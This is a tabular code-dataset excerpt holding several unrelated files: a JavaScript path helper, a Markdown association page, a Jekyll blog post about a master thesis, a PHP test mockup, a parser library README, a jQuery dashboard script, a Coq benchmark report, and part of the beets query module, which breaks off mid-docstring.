code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
---|---|---|---|---|---|
'use strict';
var path = require('path');
module.exports = path.join.bind(path, __dirname, '..');
| stackjie/vue-pull-to | build/index.js | JavaScript | mit | 99 |
---
title: Svett
tag: svett
active: false
url: https://www.facebook.com/svettifi/
template: association.pug
---
Navnet Svett spiller på den populært utbredte stereotypen av informatikere. Mange ser på informatikere som svette «nerder». Vi velger å spille videre på dette med et glimt i øyet.
**Formål:** Foreningens formål å fremme studenters interesse for spesielle informatiske fagområder. Fokuset vil ligge på å dele dybdekunnskap om fagrelaterte emner i sosiale omgivelser.
**Aktiviteter:** Vi arrangerer foredrag, workshops og konkurranser. Ved å fokusere på dybdekunnskap håper vi å kunne åpne flere studenters øyne for mer spesialiserte deler av pensum. Vi vil forsøke å introdusere medstudenter til dypere og mer tekniske aspekter ved den informatiske verden mens vi har det gøy. | megoth/ifi-ordenen | contents/association/svett/index.md | Markdown | mit | 813 |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Master thesis presentation – OpenLaws</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Presentation of Master thesis @CEID">
<meta name="author" content="Kostas Plessas">
<meta name="keywords" content="publications">
<link rel="canonical" href="http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/">
<!-- Custom CSS -->
<link rel="stylesheet" href="/css/pixyll.css" type="text/css">
<!-- Fonts -->
<link href='//fonts.googleapis.com/css?family=Merriweather:900,900italic,300,300italic' rel='stylesheet' type='text/css'>
<link href='//fonts.googleapis.com/css?family=Lato:900,300' rel='stylesheet' type='text/css'>
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<!-- Open Graph -->
<!-- From: https://github.com/mmistakes/hpstr-jekyll-theme/blob/master/_includes/head.html -->
<meta property="og:locale" content="en_US">
<meta property="og:type" content="article">
<meta property="og:title" content="Master thesis presentation">
<meta property="og:description" content="A Project Opening Greek Legislation to Citizens">
<meta property="og:url" content="http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/">
<meta property="og:site_name" content="OpenLaws">
<!-- Icons -->
<link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="60x60" href="/apple-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="120x120" href="/apple-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="76x76" href="/apple-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="152x152" href="/apple-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon-180x180.png">
<link rel="icon" type="image/png" href="/favicon-96x96.png" sizes="96x96">
<link rel="icon" type="image/png" href="/favicon-16x16.png" sizes="16x16">
<link rel="icon" type="image/png" href="/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="/android-chrome-192x192.png" sizes="192x192">
</head>
<body class="">
<div class="site-wrap">
<header class="site-header px2 px-responsive">
<div class="mt2 wrap">
<div class="measure">
<div><a href="http://www.openlaws.gr"><img src="/images/logo.png" alt="logo"/></a></div>
<nav class="site-nav right">
<a href="/about/">About</a>
<a href="/roadmap/">Roadmap</a>
<!--<a href="/contact/">Contact</a>-->
</nav>
<div class="clearfix"></div>
<div class="social-icons">
<div class="right">
<a class="fa fa-github" href="https://github.com/OpenLawsGR"></a>
<a class="fa fa-rss" href="/feed.xml"></a>
<a class="fa fa-twitter" href="https://twitter.com/OpenLawsGR"></a>
<a class="fa fa-envelope" href="mailto:[email protected]"></a>
</div>
<div class="right">
</div>
</div>
<div class="clearfix"></div>
</div>
</div>
</header>
<div class="post p2 p-responsive wrap" role="main">
<div class="measure">
<div class="post-header mb2">
<h1>Master thesis presentation</h1>
<span class="post-meta">Oct 19, 2016</span><br>
<span class="post-meta small">1 minute read</span>
</div>
<article class="post-content">
<p>This project is implemented in the framework of a Master thesis for the postgraduate program Computer Science and Technology at the <a href="https://www.ceid.upatras.gr/en">Department of Computer Engineering and Informatics</a> of the <a href="http://www.upatras.gr/en">University of Patras</a>, which is supervised by <a href="http://athos.cti.gr/garofalakis/index_en.htm">Prof. John Garofalakis</a> and postdoctoral researcher <a href="http://www.plessas.info/index.php/home-en/">Athanasios Plessas</a>.</p>
<p>Last week, the defense presentation of the thesis took place successfully.</p>
<p><img src="/images/master_thesis_presentation.jpg" alt="Master thesis presentation"></p>
<p>The text of the thesis (in Greek) can be found <a href="https://dl.dropboxusercontent.com/u/104921582/K.Plessas_Master_Thesis.pdf">here</a>.</p>
<p>The presentation (also in Greek) can be found <a href="https://dl.dropboxusercontent.com/u/104921582/K.Plessas_Master_Thesis_Presentation.pdf">here</a>. </p>
</article>
<div class="share-page">
Share this post!
<div class="share-links">
<a class = "fa fa-facebook" href="https://facebook.com/sharer.php?u=http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/" rel="nofollow" target="_blank" title="Share on Facebook"></a>
<a class="fa fa-twitter" href="https://twitter.com/intent/tweet?text=Master thesis presentation&url=http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/" rel="nofollow" target="_blank" title="Share on Twitter"></a>
<a class="fa fa-google-plus" href="https://plus.google.com/share?url=http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/" rel="nofollow" target="_blank" title="Share on Google+"></a>
<a class="fa fa-linkedin" href="http://www.linkedin.com/shareArticle?url=http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/&title=Master thesis presentation" rel="nofollow" target="_blank" title="Share on LinkedIn"></a>
<a class = "fa fa-hacker-news" onclick="parent.postMessage('submit','*')" href="https://news.ycombinator.com/submitlink?u=http://www.openlaws.gr/publications/2016/10/19/master-thesis-presentation/&t=Master thesis presentation" rel="nofollow" target="_blank" title="Share on Hacker News"></a>
</div>
</div>
<div id="disqus_thread"></div>
<script type="text/javascript">
var disqus_shortname = 'OpenLawsGR';
var disqus_identifier = '/publications/2016/10/19/master-thesis-presentation';
(function() {
var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
</script>
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
</div>
</div>
</div>
<footer class="footer">
<div class="p2 wrap">
<div class="measure mt1 center">
<small>
Based on <a href="https://github.com/johnotander/pixyll">Pixyll</a> theme for <a href="http://jekyllrb.com/">Jekyll</a>. This site is not affiliated in any way to <a href="http://www.openlaws.eu">openlaws.eu</a>.
</small>
</div>
</div>
</footer>
</body>
</html>
| OpenLawsGR/OpenLawsGR.github.io | publications/2016/10/19/master-thesis-presentation/index.html | HTML | mit | 7,403 |
<?php
/*
* This file is part of the Asset Injection package, an RunOpenCode project.
*
* (c) 2015 RunOpenCode
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RunOpenCode\AssetsInjection\Tests\Mockup;
use RunOpenCode\AssetsInjection\Contract\Compiler\CompilerPassInterface;
use RunOpenCode\AssetsInjection\Contract\ContainerInterface;
use RunOpenCode\AssetsInjection\Library\LibraryDefinition;
use RunOpenCode\AssetsInjection\Value\CompilerPassResult;
/**
* Class DummyCompilerPass
*
* Dummy compiler pass which will add definition with given name to container in order to check validity of executed test.
*
* @package RunOpenCode\AssetsInjection\Tests\Mockup
*/
final class DummyCompilerPass implements CompilerPassInterface
{
/**
* @var string
*/
private $definitionTestNameMarker;
/**
* @var bool
*/
private $stopProcessing;
/**
* A constructor.
*
* @param string $definitionTestNameMarker LibraryDefinition marker name to add to container.
* @param bool|false $stopProcessing Should compilation be stopped.
*/
public function __construct($definitionTestNameMarker, $stopProcessing = false)
{
$this->definitionTestNameMarker = $definitionTestNameMarker;
$this->stopProcessing = $stopProcessing;
}
/**
* {@inheritdoc}
*/
public function process(ContainerInterface $container)
{
$container->getLibraries()->addDefinition(new LibraryDefinition($this->definitionTestNameMarker));
return new CompilerPassResult($container, $this->stopProcessing);
}
} | RunOpenCode/assets-injection | test/Mockup/DummyCompilerPass.php | PHP | mit | 1,708 |
---
layout: default
title: Pegmatite
github: CompilerTeaching/Pegmatite
---
Pegmatite design overview
-------------------------
This is a fork and extensive rewrite of Achilleas Margaritis's ParserLib. It
has the following goals:
- Idiomatic C++11
- Simple use
- Reuseable, reentrant grammars with multiple action delegates
- No dependency on RTTI / exceptions (usable in embedded contexts)
It has the following explicit non-goals:
- High performance (ease of use or modification should not be sacrificed in the
name of performance)
- Compatibility with the old ParserLib
Design outline
--------------
All rules should be immutable after creation. Ideally they'd be constexpr, but
this is likely not to be possible. They should have no state associated with
them, however, and so parsing should be entirely reentrant. State, for a
grammar, is in two categories:
- The current parsing state
- The actions to be performed when parsing
The actions can also be immutable (they don't change over a parse, at least),
but should not be tied to the grammar. It should be possible to write one
singleton class encapsulating the grammar, with members for the rules, and
singleton subclasses (or, ideally, delegates) providing parser actions. The
parsing state should be entirely contained within a context object and so the
same grammar can be used from multiple threads and can be used for compilation,
syntax highlighting, and so on.
RTTI Usage
----------
ParserLib requires RTTI for one specific purpose: down-casting from `ast_node`
to a subclass (and checking that the result really is of that class). If you
are using RTTI in the rest of your application, then you can instruct ParserLib
to use RTTI for these casts by defining the `USE_RTTI` macro before including
the ParserLib headers and when building ParserLib.
If you do not wish to depend on RTTI, then ParserLib provides a macro that you
can use in your own AST classes that will provide the required virtual
functions to implement ad-hoc RTTI for this specific use. You use them like
this:
{% highlight c++ %}
class MyASTClass : parserlib::ast_node
{
/* Your methods go here. */
PARSELIB_RTTI(MyASTClass, parserlib::ast_node)
};
{% endhighlight %}
This macro will be compiled away if you do define `USE_RTTI`, so you can
provide grammars built with ParserLib that don't force consumers to use or
not-use RTTI. It is also completely safe to build without `USE_RTTI`, but
still compile with RTTI.
What is Pegmatite
-----------------
Pegmatite is a very crystalline, intrusive igneous rock composed of
interlocking crystals usually larger than 2.5 cm in size.
It is also, in the Computer Lab's tradition of using bad puns for naming, a Parsing Expression Grammar library that rocks!
| CompilerTeaching/CompilerTeaching.github.io | pegmatite/index.markdown | Markdown | mit | 2,771 |
var markdown = window.markdownit();
$(document).ready(function() {
var $wish = $('#wish');
var todoNotificationArea = $('#todos .notification-area');
var todoNotificationIcon = $('#todos .notification-area > i');
var todoNotificationText = $('#todos .notification-area > span');
$('#news-stream .menu .item').tab({history:false});
$('.todo.menu .item').tab({history:false});
$('.top.menu .item').tab({history:false});
$('body').on('click', '.button', function() {
$(this).transition('pulse');
})
$('#todos').ready(function() {
$.each($('#todos .segment'), function(index, $element){
var $html, $md;
$element = $($element);
$md = $element.find('.md-content-name');
$html = $element.find('.html-content-name');
$html.html(markdown.render($md.val()));
$md = $element.find('.md-content');
$html = $element.find('.html-content');
$html.html(markdown.render($md.val()));
});
});
$('#todos').on('click', '.edit.button', function() {
var $button = $(this);
var $html = $button.parent().siblings('.html-content');
var $md = $button.parent().siblings('.md-content');
var $htmlname = $button.parent().siblings('.html-content-name');
var $mdname = $button.parent().siblings('.md-content-name');
if($html.css('display') == 'none') {
var result = markdown.render($md.val());
$html.html(result);
result = markdown.render($mdname.val());
$htmlname.html(result);
$button.text('Edit');
}
else {
$button.text('Preview');
}
$md.toggle();
$html.toggle();
$mdname.toggle();
$htmlname.toggle();
});
$('#todos').on('click', '.save.button', function() {
var $button = $(this);
var $mdname = $button.parent().parent().find('input');
var $md = $button.parent().parent().find('textarea');
var id = $button.parent().parent().attr('data-tab');
$.post('/todos/save', {id:id, name: $mdname.val(), content: $md.val()}, function(resp){
console.log('Saved');
});
});
$('#todos').on('click', '.delete.button', function() {
var $button = $(this);
var id = $button.parent().parent().attr('data-tab');
$.post('/todos/delete', {id:id}, function(resp){
$('*[data-tab="'+id+'"]').remove();
});
});
$('#new-todo').click(function(e) {
$button = $(this);
$.post('/todos/create', function(resp) {
var $menuItem = $('<a>').addClass('item').attr('data-tab', resp.id)
.html(resp.name);
var $todoContent = $('<div>').addClass('ui tab basic segment basic')
.attr('data-tab', resp.id)
.append(
$('<div>').addClass('ui text menu right floated')
.append($('<div>').addClass('ui edit basic button item').text('Edit'))
.append($('<div>').addClass('ui save basic button item').text('Save'))
.append($('<div>').addClass('ui download basic button item').text('Download'))
.append($('<div>').addClass('ui delete basic button item').text('Delete'))
)
.append(
$('<div>').addClass('ui section divider')
)
.append(
$('<input>').addClass('ui fluid md-content-name')
.attr('style', 'display:none;').val(resp.name)
)
.append(
$('<div>').addClass('html-content-name').html(markdown.render(resp.name))
)
.append(
$('<div>').addClass('ui horizontal divider')
)
.append(
$('<textarea>').addClass('md-content')
.attr('style', 'display:none;').html(resp.content)
)
.append(
$('<div>').addClass('html-content')
);
$button.parent().append($menuItem);
$button.parent().parent().next().prepend($todoContent);
$button.parent().children().last().tab({history:false});
})
.fail(function() {
uiModules.showError('Something went wrong while creating a Todo');
});
})
$('#reminders').on('click', 'i.delete', function(e){
var $parentTr = $(this).parents("tr");
$.post('/reminders/' + $parentTr.attr('id') + '/delete', function(resp) {
$parentTr.remove();
})
});
$('#wish-form').submit(function(e){
e.preventDefault();
var wish = $wish.val();
$.get('/wish', {wish: wish}, function(resp) {
var targetType = resp.type;
if(targetType === 'remind') {
var value = resp.response;
var error = resp.error
if (error) {
uiModules.showError(error);
return;
}
$('#reminders table tbody').append(
$('<tr>').attr('id', value.id)
.append($('<td>').html(value.m))
.append($('<td>').html(value.t))
.append($('<td>').html(value.d))
.append($('<td>').append($('<i>').addClass('ui delete red icon')))
);
}
else if(targetType === 'comic') {
var link = resp.response;
var error = resp.error
if (error) {
uiModules.showError(error);
return;
}
var $webcomicmodal = $('#webcomic-modal');
$webcomicmodal.find('.header').html(link.title);
$webcomicmodal.find('a').attr('href', link.url);
var showModal = true;
if (link.content_type == 'image') {
$webcomicmodal.find('img').attr('src', link.content_url);
}
else if (link.content_type == 'page') {
alert('Page found');
}
else {
showModal = false;
uiModules.showError('Unsuported content_type ' + link.content_type);
}
if( showModal ) {
$webcomicmodal.modal({
context: 'html',
observeChanges: true,
onVisible: function () {
$webcomicmodal.modal("refresh");
}
}).modal('show');
}
}
else if(targetType === 'astro') {
var url = resp.response;
var error = resp.error
if (error) {
uiModules.showError(error);
return;
}
$('#astro-modal iframe').attr('src', url);
$('#astro-modal').modal({
onVisible: function () {
$("#astro-modal").modal("refresh");
}
}).modal('show');
}
else {
uiModules.showError('Invalid type ' + resp.type);
}
// $('#reply').addClass('animated slideInDown').html(resp.response.message);
// setTimeout(function() {
// $('#reply').removeClass('animated slideInDown');
// }, 1000);
});
$wish.val(null);
});
$.get('/commands', function(resp) {
$('#commands').html(resp);
});
$('#webcomics .button').click(function(e) {
var $comic = $(this).parent()
var comic_id = $comic.attr('id');
var $button = $comic.find('.button');
$button.addClass('disabled');
$.post('/webcomics/' + comic_id + '/sync', function(response) {
$comic.find('p').text(response.resp.links_count);
$comic.find('label').text(response.resp.last_sync);
}).
always(function() {
$button.removeClass('disabled');
});
});
$('#astros .button').click(function(e) {
var $astro = $(this).parent()
var astro_id = $astro.attr('id');
var $button = $astro.find('.button');
$button.addClass('disabled');
$.post('/astros/' + astro_id + '/sync', function(response) {
$astro.find('p').text(response.resp.links_count);
$astro.find('label').text(response.resp.last_sync);
}).
always(function() {
$button.removeClass('disabled');
});
});
$('#create-playlist-button').click(function(e) {
var $playlist_name = $('#playlist-name');
var name = $playlist_name.val();
if(!name) {
uiModules.showError('Playlist name cannot be empty');
return;
}
name = name.trim();
$.post('/music/playlist/create', {name:name}, function(resp) {
if(resp.error) {
uiModules.showError(resp.error);
return;
}
$('#music .playlists').append(resp.html);
$playlist_name.val(null);
});
});
$('#music').on('click', 'i.delete-playlist', function(e) {
var $playlist_element = $(this).parents('div');
var playlist_id = $playlist_element.attr('id');
$.post('/music/playlist/delete', {id:playlist_id}, function(resp) {
if(resp.error) {
uiModules.showError(resp.error);
return;
}
if(resp.resp) {
$('#' + playlist_id).remove();
uiModules.notify('Playlist deleted successfully');
}
else {
uiModules.showError('Playlist not deleted');
}
})
});
$('#music').on('click', '.youtube-link button', function(e) {
var $button = $(this);
var $link_input = $(this).siblings('input');
var link = $link_input.val();
if(!link) {
$link_input.parent().addClass('error');
uiModules.showError('No link found');
return;
}
var playlist_id = $button.parents('div.playlist').attr('id');
var $playlist_element = $('#' + playlist_id);
$button.addClass('loading');
$.post('/music/playlist/'+ playlist_id +'/add', {link: link, site: 'youtube'}, function(resp) {
if(resp.error) {
uiModules.showError(resp.error);
return;
}
$playlist_element.find('.update-field').text(resp.resp.updated_at);
$playlist_element.find('.links-count').text(resp.resp.links_count)
}).always(function(){
$link_input.val(null);
$button.removeClass('loading');
});
});
$('#music').on('click', '.random-music', function(e) {
var $button = $(this);
var playlist_id = $button.parents('div.playlist').attr('id');
var $playlist_element = $('#' + playlist_id);
$.get('/music/playlist/'+ playlist_id +'/random', function(resp) {
var video_id = resp.resp.video_id;
var $musicmodal = $('#music-modal');
$musicmodal.find('.header').html(resp.resp.title);
$musicmodal.modal({
context: 'html',
observeChanges: true,
onVisible: function () {
$musicmodal.modal("refresh");
music_player.loadVideoById(video_id, 0, "large")
},
onHidden: function() {
music_player.stopVideo();
}
}).modal('show');
}).fail(function(response) {
uiModules.showError(response.responseText);
})
});
$('#music').on('click', '.full-playlist', function(e) {
var $button = $(this);
var playlist_id = $button.parents('div.playlist').attr('id');
var $playlist_element = $('#' + playlist_id);
var playlist_name = $playlist_element.find('a.header').text();
$.get('/music/playlist/'+ playlist_id +'/all', function(resp) {
var $musicmodal = $('#music-modal');
$musicmodal.find('.header').html(resp.resp.title);
$musicmodal.modal({
context: 'html',
observeChanges: true,
onVisible: function () {
$musicmodal.modal("refresh");
var ids = [];
for( var i = 0; i < 100 && i < resp.resp.length ; i++ ) {
var video = resp.resp[i];
ids.push(video.video_id);
}
music_player.loadPlaylist(ids);
},
onHidden: function() {
music_player.stopVideo();
}
}).modal('show');
}).fail(function(response) {
uiModules.showError(response.responseText);
})
});
});
| arpitbbhayani/penny | app/static/js/index.js | JavaScript | mit | 13,851 |
//
// AWSAppDelegate.h
// TAWS
//
// Created by CocoaPods on 05/27/2015.
// Copyright (c) 2014 suwa.yuki. All rights reserved.
//
@import UIKit;
@interface AWSAppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
| classmethod/TAWS-iOS | Example/TAWS/AWSAppDelegate.h | C | mit | 270 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>metacoq-erasure: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / extra-dev</a></li>
<li class="active"><a href="">8.10.dev / metacoq-erasure - 1.0~alpha+8.8</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
metacoq-erasure
<small>
1.0~alpha+8.8
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2020-07-17 06:06:32 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2020-07-17 06:06:32 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-threads base
base-unix base
conf-findutils 1 Virtual package relying on findutils
conf-m4 1 Virtual package relying on m4
coq 8.10.dev Formal proof management system
num 1.3 The legacy Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.08.1 The OCaml compiler (virtual package)
ocaml-base-compiler 4.08.1 Official release 4.08.1
ocaml-config 1 OCaml Switch Configuration
ocamlfind 1.8.1 A library manager for OCaml
# opam file:
opam-version: "2.0"
maintainer: "[email protected]"
homepage: "https://metacoq.github.io/metacoq"
dev-repo: "git+https://github.com/MetaCoq/metacoq.git#coq-8.8"
bug-reports: "https://github.com/MetaCoq/metacoq/issues"
authors: ["Abhishek Anand <[email protected]>"
"Simon Boulier <[email protected]>"
"Cyril Cohen <[email protected]>"
"Yannick Forster <[email protected]>"
"Fabian Kunze <[email protected]>"
"Gregory Malecha <[email protected]>"
"Matthieu Sozeau <[email protected]>"
"Nicolas Tabareau <[email protected]>"
"Théo Winterhalter <[email protected]>"
]
license: "MIT"
build: [
["sh" "./configure.sh"]
[make "-j%{jobs}%" "-C" "erasure"]
[make "test-suite"] {with-test}
]
install: [
[make "-C" "erasure" "install"]
]
depends: [
"ocaml" {> "4.02.3"}
"coq" {>= "8.8" & < "8.9~"}
"coq-metacoq-template" {= version}
"coq-metacoq-checker" {= version}
"coq-metacoq-pcuic" {= version}
"coq-metacoq-safechecker" {= version}
]
synopsis: "Implementation and verification of an erasure procedure for Coq"
description: """
MetaCoq is a meta-programming framework for Coq.
The Erasure module provides a complete specification of Coq's so-called
\"extraction\" procedure, starting from the PCUIC calculus and targeting
untyped call-by-value lambda-calculus.
The `erasure` function translates types and proofs in well-typed terms
into a dummy `tBox` constructor, following closely P. Letouzey's PhD
thesis.
"""
url {
src: "https://github.com/MetaCoq/metacoq/archive/1.0-alpha+8.8.tar.gz"
checksum: "sha256=c2fe122ad30849e99c1e5c100af5490cef0e94246f8eb83f6df3f2ccf9edfc04"
}</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-metacoq-erasure.1.0~alpha+8.8 coq.8.10.dev</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.10.dev).
The following dependencies couldn't be met:
- coq-metacoq-erasure -> coq < 8.9~ -> ocaml < 4.06.0
base of this switch (use `--unlock-base' to force)
Your request can't be satisfied:
- No available version of coq satisfies the constraints
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-metacoq-erasure.1.0~alpha+8.8</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
| coq-bench/coq-bench.github.io | clean/Linux-x86_64-4.08.1-2.0.5/extra-dev/8.10.dev/metacoq-erasure/1.0~alpha+8.8.html | HTML | mit | 7,992 |
# This file is part of beets.
# Copyright 2016, Adrian Sampson.
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
"""The Query type hierarchy for DBCore.
"""
import re
from operator import mul
from beets import util
from datetime import datetime, timedelta
import unicodedata
from functools import reduce
class ParsingError(ValueError):
"""Abstract class for any unparseable user-requested album/query
specification.
"""
class InvalidQueryError(ParsingError):
"""Represent any kind of invalid query.
The query should be a unicode string or a list, which will be space-joined.
"""
def __init__(self, query, explanation):
if isinstance(query, list):
query = " ".join(query)
message = f"'{query}': {explanation}"
super().__init__(message)
class InvalidQueryArgumentValueError(ParsingError):
"""Represent a query argument that could not be converted as expected.
It exists to be caught in upper stack levels so a meaningful (i.e. with the
query) InvalidQueryError can be raised.
"""
def __init__(self, what, expected, detail=None):
message = f"'{what}' is not {expected}"
if detail:
message = f"{message}: {detail}"
super().__init__(message)
class Query:
"""An abstract class representing a query into the item database.
"""
def clause(self):
"""Generate an SQLite expression implementing the query.
Return (clause, subvals) where clause is a valid sqlite
WHERE clause implementing the query and subvals is a list of
items to be substituted for ?s in the clause.
"""
return None, ()
def match(self, item):
"""Check whether this query matches a given Item. Can be used to
perform queries on arbitrary sets of Items.
"""
raise NotImplementedError
def __repr__(self):
return f"{self.__class__.__name__}()"
def __eq__(self, other):
return type(self) == type(other)
def __hash__(self):
return 0
class FieldQuery(Query):
"""An abstract query that searches in a specific field for a
pattern. Subclasses must provide a `value_match` class method, which
determines whether a certain pattern string matches a certain value
string. Subclasses may also provide `col_clause` to implement the
same matching functionality in SQLite.
"""
def __init__(self, field, pattern, fast=True):
self.field = field
self.pattern = pattern
self.fast = fast
def col_clause(self):
return None, ()
def clause(self):
if self.fast:
return self.col_clause()
else:
# Matching a flexattr. This is a slow query.
return None, ()
@classmethod
def value_match(cls, pattern, value):
"""Determine whether the value matches the pattern. Both
arguments are strings.
"""
raise NotImplementedError()
def match(self, item):
return self.value_match(self.pattern, item.get(self.field))
def __repr__(self):
return ("{0.__class__.__name__}({0.field!r}, {0.pattern!r}, "
"{0.fast})".format(self))
def __eq__(self, other):
return super().__eq__(other) and \
self.field == other.field and self.pattern == other.pattern
def __hash__(self):
return hash((self.field, hash(self.pattern)))
class MatchQuery(FieldQuery):
"""A query that looks for exact matches in an item field."""
def col_clause(self):
return self.field + " = ?", [self.pattern]
@classmethod
def value_match(cls, pattern, value):
return pattern == value
class NoneQuery(FieldQuery):
"""A query that checks whether a field is null."""
def __init__(self, field, fast=True):
super().__init__(field, None, fast)
def col_clause(self):
return self.field + " IS NULL", ()
def match(self, item):
return item.get(self.field) is None
def __repr__(self):
return "{0.__class__.__name__}({0.field!r}, {0.fast})".format(self)
class StringFieldQuery(FieldQuery):
"""A FieldQuery that converts values to strings before matching
them.
"""
@classmethod
def value_match(cls, pattern, value):
"""Determine whether the value matches the pattern. The value
may have any type.
"""
return cls.string_match(pattern, util.as_string(value))
@classmethod
def string_match(cls, pattern, value):
"""Determine whether the value matches the pattern. Both
arguments are strings. Subclasses implement this method.
"""
raise NotImplementedError()
class StringQuery(StringFieldQuery):
"""A query that matches a whole string in a specific item field."""
def col_clause(self):
search = (self.pattern
.replace('\\', '\\\\')
.replace('%', '\\%')
.replace('_', '\\_'))
clause = self.field + " like ? escape '\\'"
subvals = [search]
return clause, subvals
@classmethod
def string_match(cls, pattern, value):
return pattern.lower() == value.lower()
class SubstringQuery(StringFieldQuery):
"""A query that matches a substring in a specific item field."""
def col_clause(self):
pattern = (self.pattern
.replace('\\', '\\\\')
.replace('%', '\\%')
.replace('_', '\\_'))
search = '%' + pattern + '%'
clause = self.field + " like ? escape '\\'"
subvals = [search]
return clause, subvals
@classmethod
def string_match(cls, pattern, value):
return pattern.lower() in value.lower()
class RegexpQuery(StringFieldQuery):
"""A query that matches a regular expression in a specific item
field.
Raises InvalidQueryError when the pattern is not a valid regular
expression.
"""
def __init__(self, field, pattern, fast=True):
super().__init__(field, pattern, fast)
pattern = self._normalize(pattern)
try:
self.pattern = re.compile(self.pattern)
except re.error as exc:
# Invalid regular expression.
raise InvalidQueryArgumentValueError(pattern,
"a regular expression",
format(exc))
@staticmethod
def _normalize(s):
"""Normalize a Unicode string's representation (used on both
patterns and matched values).
"""
return unicodedata.normalize('NFC', s)
@classmethod
def string_match(cls, pattern, value):
return pattern.search(cls._normalize(value)) is not None
class BooleanQuery(MatchQuery):
"""Matches a boolean field. Pattern should either be a boolean or a
string reflecting a boolean.
